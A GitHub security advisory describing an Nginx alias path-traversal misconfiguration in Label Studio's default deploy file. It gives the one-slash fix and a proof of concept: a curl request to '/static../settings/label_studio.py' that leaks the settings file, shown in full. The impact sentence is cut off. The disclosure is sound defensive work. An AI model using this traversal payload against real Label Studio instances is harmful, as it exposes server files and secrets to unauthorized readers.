GHSA-cpmr-mw4j-99r7

Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/

Published

2023-03-24

Modified

2026-09-02

Sources

github-advisory

Summary

### Summary The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119 The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration: ```nginx location /static/ { [...] ``` The vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed. Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One) ** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder. ```bash # Production Label Studio docker-compose running on localhost:8080 /t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py """This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license. """ import os import pathlib from core.settings.base import * DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE) DATABASES = {'default': DATABASES_ALL[DJANGO_DB]} MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware') MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware') if INACTIVITY_SESSION_TIMEOUT_ENABLED: MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare') ADD_DEFAULT_ML_BACKENDS = False LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING') DEBUG = get_bool_env('DEBUG', False) DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False) SESSION_COOKIE_SECURE = False SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies" RQ_QUEUES = {} SENTRY_DSN = get_env( 'SENTRY_DSN', 'https://[email protected]/5820521' ) SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource') FRONTEND_SENTRY_DSN = get_env( 'FRONTEND_SENTRY_DSN', 'https://[email protected]/5838868') FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource') EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP")) from label_studio import __version__ from label_studio.core.utils import sentry sentry.init_sentry(release_name='label-studio', release_version=__version__) # we should do it after sentry init from label_studio.core.utils.common import collect_versions versions = collect_versions() # in Label Studio Community version, feature flags are always ON FEATURE_FLAGS_DEFAULT_VALUE = True # or if file is not set, default is using offline mode FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True) from core.utils.io import find_file FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json') FEATURE_FLAGS_FROM_FILE = True try: from core.utils.io import find_node find_node('label_studio', FEATURE_FLAGS_FILE, 'file') except IOError: FEATURE_FLAGS_FROM_FILE = False STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True) ``` ### Impact The impact consists on leaking Django secret keys by defaul

Affected packages

Remediation: Upgrade to 1.7.2 or later.

References

• https://github.com/advisories/GHSA-cpmr-mw4j-99r7